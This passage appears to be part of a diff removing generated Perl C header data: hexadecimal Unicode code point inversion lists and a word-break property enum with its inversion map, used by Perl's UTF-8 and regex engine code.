- 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB50, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE11, - 0xFE13, - 0xFE14, - 0xFE15, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE54, - 0xFE55, - 0xFE56, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF07, - 0xFF08, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1B, - 0xFF1C, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFF9, - 0xFFFC, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11173, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DC, - 0x115DE, - 0x11600, - 0x11630, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116AB, - 0x116B8, - 0x116C0, - 0x116CA, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118E0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B30, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x1B000, - 0x1B001, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E944, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x1F1E6, - 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F385, - 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F48B, - 0x1F48C, - 0x1F4AA, - 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5E8, - 0x1F5E9, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 65 /* ASCII/Latin1 */ - -typedef enum { - WB_Other = 0, - WB_ALetter = 1, - WB_CR = 2, - WB_Double_Quote = 3, - WB_E_Base = 4, - WB_E_Base_GAZ = 5, - WB_E_Modifier = 6, - WB_Extend = 7, - WB_ExtendNumLet = 8, - WB_Format = 9, - WB_Glue_After_Zwj = 10, - WB_Hebrew_Letter = 11, - WB_Katakana = 12, - WB_LF = 13, - WB_MidLetter = 14, - WB_MidNum = 15, - WB_MidNumLet = 16, - WB_Newline = 17, - WB_Numeric = 18, - WB_Perl_Tailored_HSpace = 19, - WB_Regional_Indicator = 20, - WB_Single_Quote = 21, - WB_ZWJ = 22, - WB_EDGE = 23, - WB_UNKNOWN = 24 -} WB_enum; - -static const WB_enum _Perl_WB_invmap[] = { /* for ASCII/Latin1 */ - WB_Other, - WB_Perl_Tailored_HSpace, - WB_LF, - WB_Newline, - WB_CR, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Other, - WB_Double_Quote, - WB_Other, - WB_Single_Quote, - WB_Other, - WB_MidNum, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_Numeric, - WB_MidLetter, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_ALetter, - WB_Other, - WB_Newline, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Other, - WB_ALetter, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidLetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_MidNum, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_MidLetter, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidNum, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_ALetter, - WB_MidLetter, - WB_Other, - WB_Format, - WB_Other, - WB_MidNum, - WB_Other, - WB_Extend, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Numeric, - WB_Other, - WB_Numeric, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Format, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Format, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Format, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Numeric, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Perl_Tailored_HSpace, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Format, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Numeric, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Other, - WB_Extend, - WB_ZWJ, - WB_Format, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidLetter, - WB_Newline, - WB_Format, - WB_ExtendNumLet, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_MidNum, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Format, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Hebrew_Letter, - WB_Extend, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_ALetter, - WB_Other, - 